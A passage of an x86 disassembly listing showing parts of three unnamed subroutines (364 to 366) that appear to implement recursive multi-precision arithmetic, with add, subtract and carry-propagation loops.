08064258   c7 45 ec 00 00 00 00   movl    $0x0,0xffffffec(%ebp)   ;0 'x0 x0 x0 x0' ""
0806425f   eb 1a                  jmp     0806427b <Unknown0364+0x13b>
08064261   8d 76 00               lea     0x0(%esi),%esi
08064264   57                     push    %edi
08064265   53                     push    %ebx
08064266   ff 75 0c               pushl   0xc(%ebp)
08064269   ff 75 08               pushl   0x8(%ebp)
0806426c   e8 a7 0d 00 00         call    08065018 <Unknown0375>
08064271   83 c4 10               add     $0x10,%esp
08064274   c7 45 ec 01 00 00 00   movl    $0x1,0xffffffec(%ebp)   ;1 'x1 x0 x0 x0' ""
0806427b   52                     push    %edx
0806427c   57                     push    %edi
0806427d   8b 5d 10               mov     0x10(%ebp),%ebx
08064280   8d 34 bd 00 00 00 00   lea     0x0(,%edi,4),%esi   ;0 'x0 x0 x0 x0' ""
08064287   ff 75 10               pushl   0x10(%ebp)
0806428a   01 f3                  add     %esi,%ebx
0806428c   53                     push    %ebx
0806428d   e8 0e ee ff ff         call    080630a0 <Unknown0351>
08064292   83 c4 10               add     $0x10,%esp
08064295   85 c0                  test    %eax,%eax
08064297   78 33                  js      080642cc <Unknown0364+0x18c>
08064299   57                     push    %edi
0806429a   ff 75 10               pushl   0x10(%ebp)
0806429d   8b 45 08               mov     0x8(%ebp),%eax
080642a0   53                     push    %ebx
080642a1   01 f0                  add     %esi,%eax
080642a3   50                     push    %eax
080642a4   e8 6f 0d 00 00         call    08065018 <Unknown0375>
080642a9   83 c4 10               add     $0x10,%esp
080642ac   83 75 ec 01            xorl    $0x1,0xffffffec(%ebp)
080642b0   eb 2d                  jmp     080642df <Unknown0364+0x19f>
080642b2   89 f6                  mov     %esi,%esi
080642b4   8b 55 08               mov     0x8(%ebp),%edx
080642b7   57                     push    %edi
080642b8   8d 04 ba               lea     (%edx,%edi,4),%eax
080642bb   50                     push    %eax
080642bc   52                     push    %edx
080642bd   ff 75 18               pushl   0x18(%ebp)
080642c0   e8 d3 fd ff ff         call    08064098 <Unknown0363>
080642c5   83 c4 10               add     $0x10,%esp
080642c8   eb 39                  jmp     08064303 <Unknown0364+0x1c3>
080642ca   89 f6                  mov     %esi,%esi
080642cc   57                     push    %edi
080642cd   53                     push    %ebx
080642ce   8b 45 08               mov     0x8(%ebp),%eax
080642d1   ff 75 10               pushl   0x10(%ebp)
080642d4   01 f0                  add     %esi,%eax
080642d6   50                     push    %eax
080642d7   e8 3c 0d 00 00         call    08065018 <Unknown0375>
080642dc   83 c4 10               add     $0x10,%esp
080642df   83 ff 1f               cmp     $0x1f,%edi
080642e2   7e d0                  jle     080642b4 <Unknown0364+0x174>
080642e4   8b 4d 14               mov     0x14(%ebp),%ecx
080642e7   8b 55 18               mov     0x18(%ebp),%edx
080642ea   83 ec 0c               sub     $0xc,%esp
080642ed   8d 04 8a               lea     (%edx,%ecx,4),%eax
080642f0   50                     push    %eax
080642f1   8b 4d 08               mov     0x8(%ebp),%ecx
```

```
080642f4  57                       push    %edi
080642f5  8d 04 b9                 lea     (%ecx,%edi,4),%eax
080642f8  50                       push    %eax
080642f9  51                       push    %ecx
080642fa  52                       push    %edx
080642fb  e8 40 fe ff ff           call    08064140 <Unknown0364>
08064300  83 c4 20                 add     $0x20,%esp
08064303  85 ff                    test    %edi,%edi
08064305  7e 1e                    jle     08064325 <Unknown0364+0x1e5>
08064307  8b 45 08                 mov     0x8(%ebp),%eax
0806430a  8b 55 14                 mov     0x14(%ebp),%edx
0806430d  8d 0c 90                 lea     (%eax,%edx,4),%ecx
08064310  8d 1c b8                 lea     (%eax,%edi,4),%ebx
08064313  89 fa                    mov     %edi,%edx
08064315  8d 76 00                 lea     0x0(%esi),%esi
08064318  8b 01                    mov     (%ecx),%eax
0806431a  89 03                    mov     %eax,(%ebx)
0806431c  83 c1 04                 add     $0x4,%ecx
0806431f  83 c3 04                 add     $0x4,%ebx
08064322  4a                       dec     %edx
08064323  75 f3                    jne     08064318 <Unknown0364+0x1d8>
08064325  8b 45 14                 mov     0x14(%ebp),%eax
08064328  8b 4d 08                 mov     0x8(%ebp),%ecx
0806432b  01 f8                    add     %edi,%eax
0806432d  57                       push    %edi
0806432e  8d 04 81                 lea     (%ecx,%eax,4),%eax
08064331  8b 55 14                 mov     0x14(%ebp),%edx
08064334  50                       push    %eax
08064335  8d 04 91                 lea     (%ecx,%edx,4),%eax
08064338  50                       push    %eax
08064339  50                       push    %eax
0806433a  e8 a9 ec ff ff           call    08062fe8 <Unknown0350>
0806433f  89 45 f0                 mov     %eax,0xfffffff0(%ebp)
08064342  8b 45 ec                 mov     0xffffffec(%ebp),%eax
08064345  83 c4 10                 add     $0x10,%esp
08064348  85 c0                    test    %eax,%eax
0806434a  74 2c                    je      08064378 <Unknown0364+0x238>
0806434c  ff 75 14                 pushl   0x14(%ebp)
0806434f  8b 4d 08                 mov     0x8(%ebp),%ecx
08064352  ff 75 18                 pushl   0x18(%ebp)
08064355  8d 04 b9                 lea     (%ecx,%edi,4),%eax
08064358  50                       push    %eax
08064359  50                       push    %eax
0806435a  e8 b9 0c 00 00           call    08065018 <Unknown0375>
0806435f  29 45 f0                 sub     %eax,0xfffffff0(%ebp)
08064362  eb 2a                    jmp     0806438e <Unknown0364+0x24e>
08064364  57                       push    %edi
08064365  ff 75 10                 pushl   0x10(%ebp)
08064368  ff 75 0c                 pushl   0xc(%ebp)
0806436b  ff 75 18                 pushl   0x18(%ebp)
0806436e  e8 25 fd ff ff           call    08064098 <Unknown0363>
08064373  83 c4 10                 add     $0x10,%esp
08064376  eb 3b                    jmp     080643b3 <Unknown0364+0x273>
08064378  ff 75 14                 pushl   0x14(%ebp)
0806437b  8b 55 08                 mov     0x8(%ebp),%edx
0806437e  ff 75 18                 pushl   0x18(%ebp)
08064381  8d 04 ba                 lea     (%edx,%edi,4),%eax
08064384  50                       push    %eax
08064385  50                       push    %eax
08064386  e8 5d ec ff ff           call    08062fe8 <Unknown0350>
0806438b  01 45 f0                 add     %eax,0xfffffff0(%ebp)
0806438e  83 c4 10                 add     $0x10,%esp
08064391  83 ff 1f                 cmp     $0x1f,%edi
08064394  7e ce                    jle     08064364 <Unknown0364+0x224>
08064396  8b 55 18                 mov     0x18(%ebp),%edx
08064399  8b 4d 14                 mov     0x14(%ebp),%ecx
0806439c  83 ec 0c                 sub     $0xc,%esp
0806439f  8d 04 8a                 lea     (%edx,%ecx,4),%eax
080643a2  50                       push    %eax
080643a3  57                       push    %edi
080643a4  ff 75 10                 pushl   0x10(%ebp)
080643a7  ff 75 0c                 pushl   0xc(%ebp)
080643aa  52                       push    %edx
080643ab  e8 90 fd ff ff           call    08064140 <Unknown0364>
080643b0  83 c4 20                 add     $0x20,%esp
080643b3  ff 75 14                 pushl   0x14(%ebp)
080643b6  8b 4d 08                 mov     0x8(%ebp),%ecx
080643b9  ff 75 18                 pushl   0x18(%ebp)
080643bc  8d 04 b9                 lea     (%ecx,%edi,4),%eax
080643bf  50                       push    %eax
080643c0  50                       push    %eax
080643c1  e8 22 ec ff ff           call    08062fe8 <Unknown0350>
080643c6  83 c4 10                 add     $0x10,%esp
080643c9  01 45 f0                 add     %eax,0xfffffff0(%ebp)
```

```
080643cc   74 51               je      0806441f <Unknown0364+0x2df>
080643ce   8b 55 14            mov     0x14(%ebp),%edx
080643d1   8d 04 3a            lea     (%edx,%edi,1),%eax
080643d4   8b 55 08            mov     0x8(%ebp),%edx
080643d7   8d 0c 82            lea     (%edx,%eax,4),%ecx
080643da   8b 11               mov     (%ecx),%edx
080643dc   8b 45 f0            mov     0xfffffff0(%ebp),%eax
080643df   01 d0               add     %edx,%eax
080643e1   8d 59 04            lea     0x4(%ecx),%ebx
080643e4   39 d0               cmp     %edx,%eax
080643e6   89 01               mov     %eax,(%ecx)
080643e8   89 fe               mov     %edi,%esi
080643ea   89 d9               mov     %ebx,%ecx
080643ec   73 1a               jae     08064408 <Unknown0364+0x2c8>
080643ee   4e                  dec     %esi
080643ef   74 2e               je      0806441f <Unknown0364+0x2df>
080643f1   8d 76 00            lea     0x0(%esi),%esi
080643f4   8b 13               mov     (%ebx),%edx
080643f6   42                  inc     %edx
080643f7   83 c3 04            add     $0x4,%ebx
080643fa   89 11               mov     %edx,(%ecx)
080643fc   83 c1 04            add     $0x4,%ecx
080643ff   85 d2               test    %edx,%edx
08064401   75 05               jne     08064408 <Unknown0364+0x2c8>
08064403   4e                  dec     %esi
08064404   75 ee               jne     080643f4 <Unknown0364+0x2b4>
08064406   eb 17               jmp     0806441f <Unknown0364+0x2df>
08064408   39 d9               cmp     %ebx,%ecx
0806440a   74 13               je      0806441f <Unknown0364+0x2df>
0806440c   31 d2               xor     %edx,%edx
0806440e   4e                  dec     %esi
0806440f   39 f2               cmp     %esi,%edx
08064411   7d 0c               jge     0806441f <Unknown0364+0x2df>
08064413   90                  nop
08064414   8b 04 93            mov     (%ebx,%edx,4),%eax
08064417   89 04 91            mov     %eax,(%ecx,%edx,4)
0806441a   42                  inc     %edx
0806441b   39 f2               cmp     %esi,%edx
0806441d   7c f5               jl      08064414 <Unknown0364+0x2d4>
0806441f   31 d2               xor     %edx,%edx
08064421   39 fa               cmp     %edi,%edx
08064423   7d 14               jge     08064439 <Unknown0364+0x2f9>
08064425   8d 76 00            lea     0x0(%esi),%esi
08064428   8b 4d 18            mov     0x18(%ebp),%ecx
0806442b   8b 04 91            mov     (%ecx,%edx,4),%eax
0806442e   8b 4d 08            mov     0x8(%ebp),%ecx
08064431   89 04 91            mov     %eax,(%ecx,%edx,4)
08064434   42                  inc     %edx
08064435   39 fa               cmp     %edi,%edx
08064437   7c ef               jl      08064428 <Unknown0364+0x2e8>
08064439   8d 04 bd 00 00 00 00 lea    0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
08064440   8b 55 18            mov     0x18(%ebp),%edx
08064443   57                  push    %edi
08064444   01 c2               add     %eax,%edx
08064446   52                  push    %edx
08064447   03 45 08            add     0x8(%ebp),%eax
0806444a   50                  push    %eax
0806444b   50                  push    %eax
0806444c   e8 97 eb ff ff      call    08062fe8 <Unknown0350>
08064451   83 c4 10            add     $0x10,%esp
08064454   85 c0               test    %eax,%eax
08064456   74 4b               je      080644a3 <Unknown0364+0x363>
08064458   8b 45 14            mov     0x14(%ebp),%eax
0806445b   8b 55 08            mov     0x8(%ebp),%edx
0806445e   8d 1c 82            lea     (%edx,%eax,4),%ebx
08064461   8b 13               mov     (%ebx),%edx
08064463   89 c1               mov     %eax,%ecx
08064465   8d 42 01            lea     0x1(%edx),%eax
08064468   8d 73 04            lea     0x4(%ebx),%esi
0806446b   39 d0               cmp     %edx,%eax
0806446d   89 03               mov     %eax,(%ebx)
0806446f   89 f3               mov     %esi,%ebx
08064471   73 19               jae     0806448c <Unknown0364+0x34c>
08064473   49                  dec     %ecx
08064474   74 2d               je      080644a3 <Unknown0364+0x363>
08064476   89 f6               mov     %esi,%esi
08064478   8b 16               mov     (%esi),%edx
0806447a   42                  inc     %edx
0806447b   83 c6 04            add     $0x4,%esi
0806447e   89 13               mov     %edx,(%ebx)
08064480   83 c3 04            add     $0x4,%ebx
08064483   85 d2               test    %edx,%edx
08064485   75 05               jne     0806448c <Unknown0364+0x34c>
08064487   49                  dec     %ecx
```

```
08064488   75 ee                 jne     08064478 <Unknown0364+0x338>
0806448a   eb 17                 jmp     080644a3 <Unknown0364+0x363>
0806448c   39 f3                 cmp     %esi,%ebx
0806448e   74 13                 je      080644a3 <Unknown0364+0x363>
08064490   31 d2                 xor     %edx,%edx
08064492   49                    dec     %ecx
08064493   39 ca                 cmp     %ecx,%edx
08064495   7d 0c                 jge     080644a3 <Unknown0364+0x363>
08064497   90                    nop
08064498   8b 04 96              mov     (%esi,%edx,4),%eax
0806449b   89 04 93              mov     %eax,(%ebx,%edx,4)
0806449e   42                    inc     %edx
0806449f   39 ca                 cmp     %ecx,%edx
080644a1   7c f5                 jl      08064498 <Unknown0364+0x358>
080644a3   8d 65 f4              lea     0xfffffff4(%ebp),%esp
080644a6   5b                    pop     %ebx
080644a7   5e                    pop     %esi
080644a8   5f                    pop     %edi
080644a9   5d                    pop     %ebp
080644aa   c3                    ret
080644ab   90                    nop


  ;
  ; >--------------------<  Subroutine # 365 >--------------------<
  ;
080644ac <Unknown0365>:
080644ac   55                    push    %ebp
080644ad   89 e5                 mov     %esp,%ebp
080644af   57                    push    %edi
080644b0   56                    push    %esi
080644b1   53                    push    %ebx
080644b2   83 ec 0c              sub     $0xc,%esp
080644b5   8b 45 0c              mov     0xc(%ebp),%eax
080644b8   8b 10                 mov     (%eax),%edx
080644ba   83 fa 01              cmp     $0x1,%edx
080644bd   8b 5d 08              mov     0x8(%ebp),%ebx
080644c0   8b 75 10              mov     0x10(%ebp),%esi
080644c3   77 33                 ja      080644f8 <Unknown0365+0x4c>
080644c5   4a                    dec     %edx
080644c6   75 18                 jne     080644e0 <Unknown0365+0x34>
080644c8   31 d2                 xor     %edx,%edx
080644ca   39 f2                 cmp     %esi,%edx
080644cc   7d 26                 jge     080644f4 <Unknown0365+0x48>
080644ce   89 f6                 mov     %esi,%esi
080644d0   8b 4d 0c              mov     0xc(%ebp),%ecx
080644d3   8b 04 91              mov     (%ecx,%edx,4),%eax
080644d6   89 04 93              mov     %eax,(%ebx,%edx,4)
080644d9   42                    inc     %edx
080644da   39 f2                 cmp     %esi,%edx
080644dc   7c f2                 jl      080644d0 <Unknown0365+0x24>
080644de   eb 14                 jmp     080644f4 <Unknown0365+0x48>
080644e0   31 c0                 xor     %eax,%eax
080644e2   39 f0                 cmp     %esi,%eax
080644e4   7d 0e                 jge     080644f4 <Unknown0365+0x48>
080644e6   89 f6                 mov     %esi,%esi
080644e8   c7 04 83 00 00 00 00  movl    $0x0,(%ebx,%eax,4)   ;0 'x0 x0 x0 x0' ""
080644ef   40                    inc     %eax
080644f0   39 f0                 cmp     %esi,%eax
080644f2   7c f4                 jl      080644e8 <Unknown0365+0x3c>
080644f4   31 c0                 xor     %eax,%eax
080644f6   eb 0e                 jmp     08064506 <Unknown0365+0x5a>
080644f8   52                    push    %edx
080644f9   56                    push    %esi
080644fa   ff 75 0c              pushl   0xc(%ebp)
080644fd   53                    push    %ebx
080644fe   e8 55 fb ff ff        call    08064058 <Unknown0362>
08064503   83 c4 10              add     $0x10,%esp
08064506   bf 01 00 00 00        mov     $0x1,%edi   ;1 'x1 x0 x0 x0' ""
0806450b   eb 32                 jmp     0806453f <Unknown0365+0x93>
0806450d   8d 76 00              lea     0x0(%esi),%esi
08064510   8b 45 0c              mov     0xc(%ebp),%eax
08064513   8b 14 b8              mov     (%eax,%edi,4),%edx
08064516   83 fa 01              cmp     $0x1,%edx
08064519   77 15                 ja      08064530 <Unknown0365+0x84>
0806451b   31 c0                 xor     %eax,%eax
0806451d   4a                    dec     %edx
0806451e   75 1e                 jne     0806453e <Unknown0365+0x92>
08064520   56                    push    %esi
08064521   ff 75 0c              pushl   0xc(%ebp)
08064524   53                    push    %ebx
08064525   53                    push    %ebx
08064526   e8 bd ea ff ff        call    08062fe8 <Unknown0350>
0806452b   eb 0e                 jmp     0806453b <Unknown0365+0x8f>
```

```
0806452d  8d 76 00               lea     0x0(%esi),%esi
08064530  52                     push    %edx
08064531  56                     push    %esi
08064532  ff 75 0c               pushl   0xc(%ebp)
08064535  53                     push    %ebx
08064536  e8 15 10 00 00         call    08065550 <Unknown0378>
0806453b  83 c4 10               add     $0x10,%esp
0806453e  47                     inc     %edi
0806453f  89 04 b3               mov     %eax,(%ebx,%esi,4)
08064542  83 c3 04               add     $0x4,%ebx
08064545  39 f7                  cmp     %esi,%edi
08064547  7c c7                  jl      08064510 <Unknown0365+0x64>
08064549  8d 65 f4               lea     0xfffffff4(%ebp),%esp
0806454c  5b                     pop     %ebx
0806454d  5e                     pop     %esi
0806454e  5f                     pop     %edi
0806454f  5d                     pop     %ebp
08064550  c3                     ret
08064551  8d 76 00               lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 366 >--------------------<
  ;
08064554 <Unknown0366>:
08064554  55                     push    %ebp
08064555  89 e5                  mov     %esp,%ebp
08064557  57                     push    %edi
08064558  56                     push    %esi
08064559  53                     push    %ebx
0806455a  83 ec 0c               sub     $0xc,%esp
0806455d  f7 45 10 01 00 00 00   testl   $0x1,0x10(%ebp)   ;1 'x1 x0 x0 x0' ""
08064564  0f 84 8e 00 00 00      je      080645f8 <Unknown0366+0xa4>  ;142 'x8e x0 x0 x0' ""
0806456a  8b 75 10               mov     0x10(%ebp),%esi
0806456d  4e                     dec     %esi
0806456e  83 fe 1f               cmp     $0x1f,%esi
08064571  7e 59                  jle     080645cc <Unknown0366+0x78>
08064573  ff 75 14               pushl   0x14(%ebp)
08064576  56                     push    %esi
08064577  ff 75 0c               pushl   0xc(%ebp)
0806457a  ff 75 08               pushl   0x8(%ebp)
0806457d  e8 d2 ff ff ff         call    08064554 <Unknown0366>
08064582  89 f6                  mov     %esi,%esi
08064584  83 c4 10               add     $0x10,%esp
08064587  8b 45 0c               mov     0xc(%ebp),%eax
0806458a  ff 34 b0               pushl   (%eax,%esi,4)
0806458d  56                     push    %esi
0806458e  8b 55 08               mov     0x8(%ebp),%edx
08064591  50                     push    %eax
08064592  8d 1c b2               lea     (%edx,%esi,4),%ebx
08064595  53                     push    %ebx
08064596  e8 b5 0f 00 00         call    08065550 <Unknown0378>
0806459b  89 c2                  mov     %eax,%edx
0806459d  8b 4d 08               mov     0x8(%ebp),%ecx
080645a0  89 14 f1               mov     %edx,(%ecx,%esi,8)
080645a3  8b 45 0c               mov     0xc(%ebp),%eax
080645a6  ff 34 b0               pushl   (%eax,%esi,4)
080645a9  ff 75 10               pushl   0x10(%ebp)
080645ac  50                     push    %eax
080645ad  53                     push    %ebx
080645ae  e8 9d 0f 00 00         call    08065550 <Unknown0378>
080645b3  8b 4d 10               mov     0x10(%ebp),%ecx
080645b6  89 c2                  mov     %eax,%edx
080645b8  8d 04 31               lea     (%ecx,%esi,1),%eax
080645bb  8b 4d 08               mov     0x8(%ebp),%ecx
080645be  89 14 81               mov     %edx,(%ecx,%eax,4)
080645c1  83 c4 20               add     $0x20,%esp
080645c4  e9 36 02 00 00         jmp     080647ff <Unknown0366+0x2ab>  ;566 'x36 x2 x0 x0' "6"
080645c9  8d 76 00               lea     0x0(%esi),%esi
080645cc  51                     push    %ecx
080645cd  56                     push    %esi
080645ce  ff 75 0c               pushl   0xc(%ebp)
080645d1  ff 75 08               pushl   0x8(%ebp)
080645d4  e8 d3 fe ff ff         call    080644ac <Unknown0365>
080645d9  eb a9                  jmp     08064584 <Unknown0366+0x30>
080645db  90                     nop
080645dc  52                     push    %edx
080645dd  8b 55 0c               mov     0xc(%ebp),%edx
080645e0  57                     push    %edi
080645e1  8d 04 ba               lea     (%edx,%edi,4),%eax
080645e4  8b 4d 10               mov     0x10(%ebp),%ecx
080645e7  8b 55 08               mov     0x8(%ebp),%edx
080645ea  50                     push    %eax
080645eb  8d 04 8a               lea     (%edx,%ecx,4),%eax
```

```
080645ee  50                      push    %eax
080645ef  e8 b8 fe ff ff          call    080644ac <Unknown0365>
080645f4  eb 26                   jmp     0806461c <Unknown0366+0xc8>
080645f6  89 f6                   mov     %esi,%esi
080645f8  8b 7d 10                mov     0x10(%ebp),%edi
080645fb  d1 ff                   sar     %edi
080645fd  83 ff 1f                cmp     $0x1f,%edi
08064600  7e da                   jle     080645dc <Unknown0366+0x88>
08064602  ff 75 14                pushl   0x14(%ebp)
08064605  8b 4d 0c                mov     0xc(%ebp),%ecx
08064608  57                      push    %edi
08064609  8d 04 b9                lea     (%ecx,%edi,4),%eax
0806460c  8b 55 10                mov     0x10(%ebp),%edx
0806460f  8b 4d 08                mov     0x8(%ebp),%ecx
08064612  50                      push    %eax
08064613  8d 04 91                lea     (%ecx,%edx,4),%eax
08064616  50                      push    %eax
08064617  e8 38 ff ff ff          call    08064554 <Unknown0366>
0806461c  83 c4 10                add     $0x10,%esp
0806461f  50                      push    %eax
08064620  57                      push    %edi
08064621  8b 45 0c                mov     0xc(%ebp),%eax
08064624  ff 75 0c                pushl   0xc(%ebp)
08064627  8d 1c b8                lea     (%eax,%edi,4),%ebx
0806462a  53                      push    %ebx
0806462b  e8 70 ea ff ff          call    080630a0 <Unknown0351>
08064630  83 c4 10                add     $0x10,%esp
08064633  85 c0                   test    %eax,%eax
08064635  78 2d                   js      08064664 <Unknown0366+0x110>
08064637  57                      push    %edi
08064638  ff 75 0c                pushl   0xc(%ebp)
0806463b  53                      push    %ebx
0806463c  eb 2b                   jmp     08064669 <Unknown0366+0x115>
0806463e  89 f6                   mov     %esi,%esi
08064640  56                      push    %esi
08064641  57                      push    %edi
08064642  ff 75 08                pushl   0x8(%ebp)
08064645  ff 75 14                pushl   0x14(%ebp)
08064648  e8 5f fe ff ff          call    080644ac <Unknown0365>
0806464d  eb 41                   jmp     08064690 <Unknown0366+0x13c>
0806464f  90                      nop
08064650  53                      push    %ebx
08064651  57                      push    %edi
08064652  ff 75 0c                pushl   0xc(%ebp)
08064655  ff 75 14                pushl   0x14(%ebp)
08064658  e8 4f fe ff ff          call    080644ac <Unknown0365>
0806465d  e9 aa 00 00 00          jmp     0806470c <Unknown0366+0x1b8>  ;170 'xaa x0 x0 x0' ""
08064662  89 f6                   mov     %esi,%esi
08064664  57                      push    %edi
08064665  53                      push    %ebx
08064666  ff 75 0c                pushl   0xc(%ebp)
08064669  ff 75 08                pushl   0x8(%ebp)
0806466c  e8 a7 09 00 00          call    08065018 <Unknown0375>
08064671  83 c4 10                add     $0x10,%esp
08064674  83 ff 1f                cmp     $0x1f,%edi
08064677  7e c7                   jle     08064640 <Unknown0366+0xec>
08064679  8b 4d 14                mov     0x14(%ebp),%ecx
0806467c  8b 55 10                mov     0x10(%ebp),%edx
0806467f  8d 04 91                lea     (%ecx,%edx,4),%eax
08064682  50                      push    %eax
08064683  57                      push    %edi
08064684  ff 75 08                pushl   0x8(%ebp)
08064687  51                      push    %ecx
08064688  e8 c7 fe ff ff          call    08064554 <Unknown0366>
0806468d  8d 76 00                lea     0x0(%esi),%esi
08064690  83 c4 10                add     $0x10,%esp
08064693  85 ff                   test    %edi,%edi
08064695  7e 1e                   jle     080646b5 <Unknown0366+0x161>
08064697  8b 45 08                mov     0x8(%ebp),%eax
0806469a  8b 55 10                mov     0x10(%ebp),%edx
0806469d  8d 0c 90                lea     (%eax,%edx,4),%ecx
080646a0  8d 1c b8                lea     (%eax,%edi,4),%ebx
080646a3  89 fa                   mov     %edi,%edx
080646a5  8d 76 00                lea     0x0(%esi),%esi
080646a8  8b 01                   mov     (%ecx),%eax
080646aa  89 03                   mov     %eax,(%ebx)
080646ac  83 c1 04                add     $0x4,%ecx
080646af  83 c3 04                add     $0x4,%ebx
080646b2  4a                      dec     %edx
080646b3  75 f3                   jne     080646a8 <Unknown0366+0x154>
080646b5  8b 45 10                mov     0x10(%ebp),%eax
080646b8  8b 4d 08                mov     0x8(%ebp),%ecx
080646bb  01 f8                   add     %edi,%eax
080646bd  57                      push    %edi
```

```
080646be   8d 04 81          lea     (%ecx,%eax,4),%eax
080646c1   8b 5d 10          mov     0x10(%ebp),%ebx
080646c4   50                push    %eax
080646c5   c1 e3 02          shl     $0x2,%ebx
080646c8   89 c8             mov     %ecx,%eax
080646ca   01 d8             add     %ebx,%eax
080646cc   50                push    %eax
080646cd   50                push    %eax
080646ce   e8 15 e9 ff ff    call    08062fe8 <Unknown0350>
080646d3   ff 75 10          pushl   0x10(%ebp)
080646d6   8b 55 08          mov     0x8(%ebp),%edx
080646d9   ff 75 14          pushl   0x14(%ebp)
080646dc   89 45 f0          mov     %eax,0xfffffff0(%ebp)
080646df   8d 04 ba          lea     (%edx,%edi,4),%eax
080646e2   50                push    %eax
080646e3   50                push    %eax
080646e4   e8 2f 09 00 00    call    08065018 <Unknown0375>
080646e9   29 45 f0          sub     %eax,0xfffffff0(%ebp)
080646ec   83 c4 20          add     $0x20,%esp
080646ef   83 ff 1f          cmp     $0x1f,%edi
080646f2   0f 8e 58 ff ff ff jle     08064650 <Unknown0366+0xfc>  ;-168 'x58 xff xff xff' "X"
080646f8   8b 45 14          mov     0x14(%ebp),%eax
080646fb   01 d8             add     %ebx,%eax
080646fd   50                push    %eax
080646fe   57                push    %edi
080646ff   ff 75 0c          pushl   0xc(%ebp)
08064702   ff 75 14          pushl   0x14(%ebp)
08064705   e8 4a fe ff ff    call    08064554 <Unknown0366>
0806470a   89 f6             mov     %esi,%esi
0806470c   83 c4 10          add     $0x10,%esp
0806470f   ff 75 10          pushl   0x10(%ebp)
08064712   8b 4d 08          mov     0x8(%ebp),%ecx
08064715   ff 75 14          pushl   0x14(%ebp)
08064718   8d 04 b9          lea     (%ecx,%edi,4),%eax
0806471b   50                push    %eax
0806471c   50                push    %eax
0806471d   e8 c6 e8 ff ff    call    08062fe8 <Unknown0350>
08064722   83 c4 10          add     $0x10,%esp
08064725   01 45 f0          add     %eax,0xfffffff0(%ebp)
08064728   74 51             je      0806477b <Unknown0366+0x227>
0806472a   8b 55 10          mov     0x10(%ebp),%edx
0806472d   8d 04 3a          lea     (%edx,%edi,1),%eax
08064730   8b 55 08          mov     0x8(%ebp),%edx
08064733   8d 0c 82          lea     (%edx,%eax,4),%ecx
08064736   8b 11             mov     (%ecx),%edx
08064738   8b 45 f0          mov     0xfffffff0(%ebp),%eax
0806473b   01 d0             add     %edx,%eax
0806473d   8d 59 04          lea     0x4(%ecx),%ebx
08064740   39 d0             cmp     %edx,%eax
08064742   89 01             mov     %eax,(%ecx)
08064744   89 fe             mov     %edi,%esi
08064746   89 d9             mov     %ebx,%ecx
08064748   73 1a             jae     08064764 <Unknown0366+0x210>
0806474a   4e                dec     %esi
0806474b   74 2e             je      0806477b <Unknown0366+0x227>
0806474d   8d 76 00          lea     0x0(%esi),%esi
08064750   8b 13             mov     (%ebx),%edx
08064752   42                inc     %edx
08064753   83 c3 04          add     $0x4,%ebx
08064756   89 11             mov     %edx,(%ecx)
08064758   83 c1 04          add     $0x4,%ecx
0806475b   85 d2             test    %edx,%edx
0806475d   75 05             jne     08064764 <Unknown0366+0x210>
0806475f   4e                dec     %esi
08064760   75 ee             jne     08064750 <Unknown0366+0x1fc>
08064762   eb 17             jmp     0806477b <Unknown0366+0x227>
08064764   39 d9             cmp     %ebx,%ecx
08064766   74 13             je      0806477b <Unknown0366+0x227>
08064768   31 d2             xor     %edx,%edx
0806476a   4e                dec     %esi
0806476b   39 f2             cmp     %esi,%edx
0806476d   7d 0c             jge     0806477b <Unknown0366+0x227>
0806476f   90                nop
08064770   8b 04 93          mov     (%ebx,%edx,4),%eax
08064773   89 04 91          mov     %eax,(%ecx,%edx,4)
08064776   42                inc     %edx
08064777   39 f2             cmp     %esi,%edx
08064779   7c f5             jl      08064770 <Unknown0366+0x21c>
0806477b   31 d2             xor     %edx,%edx
0806477d   39 fa             cmp     %edi,%edx
0806477f   7d 14             jge     08064795 <Unknown0366+0x241>
08064781   8d 76 00          lea     0x0(%esi),%esi
08064784   8b 4d 14          mov     0x14(%ebp),%ecx
08064787   8b 04 91          mov     (%ecx,%edx,4),%eax
```

```
0806478a  8b 4d 08        mov     0x8(%ebp),%ecx
0806478d  89 04 91        mov     %eax,(%ecx,%edx,4)
08064790  42              inc     %edx
08064791  39 fa           cmp     %edi,%edx
08064793  7c ef           jl      08064784 <Unknown0366+0x230>
08064795  8d 04 bd 00 00 00 00  lea  0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
0806479c  8b 55 14        mov     0x14(%ebp),%edx
0806479f  57              push    %edi
080647a0  01 c2           add     %eax,%edx
080647a2  52              push    %edx
080647a3  03 45 08        add     0x8(%ebp),%eax
080647a6  50              push    %eax
080647a7  50              push    %eax
080647a8  e8 3b e8 ff ff  call    08062fe8 <Unknown0350>
080647ad  83 c4 10        add     $0x10,%esp
080647b0  85 c0           test    %eax,%eax
080647b2  74 4b           je      080647ff <Unknown0366+0x2ab>
080647b4  8b 45 10        mov     0x10(%ebp),%eax
080647b7  8b 55 08        mov     0x8(%ebp),%edx
080647ba  8d 1c 82        lea     (%edx,%eax,4),%ebx
080647bd  8b 13           mov     (%ebx),%edx
080647bf  89 c1           mov     %eax,%ecx
080647c1  8d 42 01        lea     0x1(%edx),%eax
080647c4  8d 73 04        lea     0x4(%ebx),%esi
080647c7  39 d0           cmp     %edx,%eax
080647c9  89 03           mov     %eax,(%ebx)
080647cb  89 f3           mov     %esi,%ebx
080647cd  73 19           jae     080647e8 <Unknown0366+0x294>
080647cf  49              dec     %ecx
080647d0  74 2d           je      080647ff <Unknown0366+0x2ab>
080647d2  89 f6           mov     %esi,%esi
080647d4  8b 16           mov     (%esi),%edx
080647d6  42              inc     %edx
080647d7  83 c6 04        add     $0x4,%esi
080647da  89 13           mov     %edx,(%ebx)
080647dc  83 c3 04        add     $0x4,%ebx
080647df  85 d2           test    %edx,%edx
080647e1  75 05           jne     080647e8 <Unknown0366+0x294>
080647e3  49              dec     %ecx
080647e4  75 ee           jne     080647d4 <Unknown0366+0x280>
080647e6  eb 17           jmp     080647ff <Unknown0366+0x2ab>
080647e8  39 f3           cmp     %esi,%ebx
080647ea  74 13           je      080647ff <Unknown0366+0x2ab>
080647ec  31 d2           xor     %edx,%edx
080647ee  49              dec     %ecx
080647ef  39 ca           cmp     %ecx,%edx
080647f1  7d 0c           jge     080647ff <Unknown0366+0x2ab>
080647f3  90              nop
080647f4  8b 04 96        mov     (%esi,%edx,4),%eax
080647f7  89 04 93        mov     %eax,(%ebx,%edx,4)
080647fa  42              inc     %edx
080647fb  39 ca           cmp     %ecx,%edx
080647fd  7c f5           jl      080647f4 <Unknown0366+0x2a0>
